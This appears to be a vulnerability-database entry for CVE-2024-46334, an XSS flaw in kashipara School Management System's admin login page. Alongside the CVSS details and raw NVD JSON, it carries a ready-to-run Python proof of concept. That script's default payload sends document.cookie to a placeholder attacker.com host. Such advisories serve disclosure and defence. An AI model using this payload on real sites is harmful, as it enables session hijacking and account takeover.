Security Vulnerability Report
中文
CVE-2024-46334 CVSS 6.1 MEDIUM

CVE-2024-46334

Published: 2025-11-17 17:15:47
Last Modified: 2025-11-19 13:10:15

Description

kashipara School Management System 1.0 is vulnerable to Cross Site Scripting (XSS) via the formuser and formpassword parameters in /adminLogin.php.

CVSS Details

CVSS Score
6.1
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:kashipara:school_management_system:1.0:*:*:*:*:*:*:* - VULNERABLE
kashipara School Management System 1.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2024-46334 PoC - XSS in kashipara School Management System adminLogin.php # Target: formuser and formpassword parameters def exploit_xss(target_url, payload): """ Exploit stored XSS vulnerability in adminLogin.php Args: target_url: Base URL of the vulnerable application payload: Malicious JavaScript payload to inject Returns: Response from the server """ login_url = f"{target_url}/adminLogin.php" # Construct malicious POST data data = { 'formuser': payload, 'formpassword': payload } headers = { 'Content-Type': 'application/x-www-form-urlencoded', 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36' } try: response = requests.post(login_url, data=data, headers=headers, timeout=10) return response except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return None if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2024-46334.py <target_url> [payload]") print("Example: python cve-2024-46334.py http://target.com '<script>alert(document.cookie)</script>'") sys.exit(1) target = sys.argv[1] # Default XSS payload - steals session cookies xss_payload = sys.argv[2] if len(sys.argv) > 2 else "<script>fetch('http://attacker.com/log?c='+document.cookie)</script>" print(f"[*] Targeting: {target}") print(f"[*] Payload: {xss_payload}") result = exploit_xss(target, xss_payload) if result: print(f"[+] Request sent, Status Code: {result.status_code}") print("[+] Check admin logs or trigger the XSS by visiting the affected page")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2024-46334", "sourceIdentifier": "[email protected]", "published": "2025-11-17T17:15:46.533", "lastModified": "2025-11-19T13:10:14.823", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "kashipara School Management System 1.0 is vulnerable to Cross Site Scripting (XSS) via the formuser and formpassword parameters in /adminLogin.php."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:kashipara:school_management_system:1.0:*:*:*:*:*:*:*", "matchCriteriaId": "64D1D420-4CF4-4575-A046-E984DABD651A"}]}]}], "references": [{"url": "https://github.com/leexsoyoung/CVEs/blob/main/CVE-2024-46334.md", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://www.kashipara.com/project/php/73/school-management-system-download-project-source-code-in-php", "source": "[email protected]", "tags": ["Product"]}]}}